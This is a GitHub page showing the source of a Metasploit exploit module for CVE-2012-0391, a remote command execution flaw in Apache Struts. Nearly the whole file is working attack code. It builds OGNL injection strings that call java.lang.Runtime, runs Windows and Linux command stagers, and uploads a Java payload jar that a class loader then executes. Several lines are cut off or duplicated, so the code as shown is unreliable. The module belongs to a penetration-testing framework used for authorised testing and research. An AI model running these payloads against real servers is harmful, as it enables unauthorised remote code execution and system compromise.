Sign in

rapid7 / **metasploit-framework** Public

Notifications | Fork 14k | Star 34.1k

Code | Issues 411 | Pull requests 44 | Discussions | Actions | Projects 1 | Wiki

metasploit-framework / modules / exploits / multi / http / **struts_code_exec_exception_delegator.rb**

adfoster-r7 Add Meterpreter compatibility metadata 28eab4d · 3 years ago

217 lines (190 loc) · 6.98 KB

Code | Blame | Raw

```ruby
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::CmdStager
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Apache Struts Remote Command Execution',
        'Description' => %q{
          This module exploits a remote command execution vulnerability in
          Apache Struts versions < 2.2.1.1. This issue is caused because the
          ExceptionDelegator interprets parameter values as OGNL expressions
          during certain exception handling for mismatched data types of properties,
          which allows remote attackers to execute arbitrary Java code via a
          crafted parameter.
        },
        'Author' => [
          'Johannes Dahse', # Vulnerability discovery and PoC
          'Andreas Nusser', # Vulnerability discovery and PoC
          'juan vazquez', # Metasploit module
          'sinn3r', # Metasploit module
          'mihi' # ARCH_JAVA support
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2012-0391'],
          [ 'OSVDB', '78277'],
          [ 'EDB', '18329']
        ],
        'Platform' => %w{java linux win},
        'Privileged' => true,
        'Targets' => [
          [
            'Windows Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'win',
              'CmdStagerFlavor' => 'tftp'
            }
          ],
          [
            'Linux Universal',
            {
              'Arch' => ARCH_X86,
              'Platform' => 'linux'
            }
          ],
          [
            'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            },
          ]
        ],
        'DisclosureDate' => '2012-01-06',
        'DefaultTarget' => 2,
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_fs_delete_file
              stdapi_sys_config_sysinfo
            ]
          }
        }
      )
    )

    register_options(
      [
        Opt::RPORT(8080),
        OptString.new('TARGETURI', [ true, 'The path to a struts application action and the paramet
        OptString.new('CMD', [ false, 'Execute this command instead of using command stager', "" ])
      ]
    )

    self.needs_cleanup = true
  end

  def execute_command(cmd, opts = {})
    uri = String.new(datastore['TARGETURI'])
    uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime
    uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,@java.lang.Runtime
    uri.gsub!(/INJECT/, "'%2b(%23_memberAccess[\"allowStaticMethodAccess\"]=true,CMD,'')%2b'") if t
    uri.gsub!(/CMD/, Rex::Text::uri_encode(cmd))

    vprint_status("Attempting to execute: #{cmd}")

    resp = send_request_raw({
      'uri' => uri,
      'version' => '1.1',
      'method' => 'GET',
    }, 5)
  end

  def windows_stager
    exe_fname = rand_text_alphanumeric(4 + rand(4)) + ".exe"

    print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
    execute_cmdstager({ :temp => '.' })
    @payload_exe = generate_payload_exe

    print_status("Attempting to execute the payload...")
    execute_command(@payload_exe)
  end

  def linux_stager
    cmds = "/bin/sh@-c@echo LINE | tee FILE"
    cmds = "/bin/sh@-c@echo LINE | tee FILE"
    exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
```

```
    cmd << "#f.close()"
    execute_command(cmd)
  end

  def java_stager
    @payload_exe = rand_text_alphanumeric(4 + rand(4)) + ".jar"
    append = 'false'
    jar = payload.encoded_jar.pack

    chunk_length = 384 # 512 bytes when base64 encoded

    while (jar.length > chunk_length)
      java_upload_part(jar[0, chunk_length], @payload_exe, append)
      jar = jar[chunk_length, jar.length - chunk_length]
      append = 'true'
    end
    java_upload_part(jar, @payload_exe, append)

    cmd = ""
```

```
      # disable vararg handling (since it is buggy in OGNL used by Struts 2.1
      cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
      cmd << "#q.setAccessible(true),#q.set(null,true),"
      cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
      cmd << "#q.setAccessible(true),#q.set(null,false),"
      # create classloader
      cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').
      # load class
      cmd << "#c=#cl.loadClass('metasploit.Payload'),"
      # invoke main method
      cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;
      cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
      execute_command(cmd)
    end

    def on_new_session(client)
      if client.type != "meterpreter"
        print_error("Please use a meterpreter payload in order to automatically cleanup.")
        print_error("The #{@payload_exe} file must be removed manually.")
        return
      end

      client.core.use("stdapi") if not client.ext.aliases.include?("stdapi")

      if client.sys.config.sysinfo["OS"] =~ /Windows/
        print_error("Windows does not allow running executables to be deleted")
        print_error("The #{@payload_exe} file must be removed manually after migrating")
        return
      end

      print_warning("Deleting the #{@payload_exe} file")
      client.fs.file.rm(@payload_exe)
    end

    def exploit
      unless datastore['CMD'].blank?
        print_status("Executing user supplied command")
        execute_command(datastore['CMD'])
        return
      end

      case target['Platform']
      when 'linux'
        linux_stager
      when 'win'
        windows_stager
      when 'java'
        java_stager
      else
        fail_with(Failure::NoTarget, 'Unsupported target platform!')
      end

      handler
    end
  end
```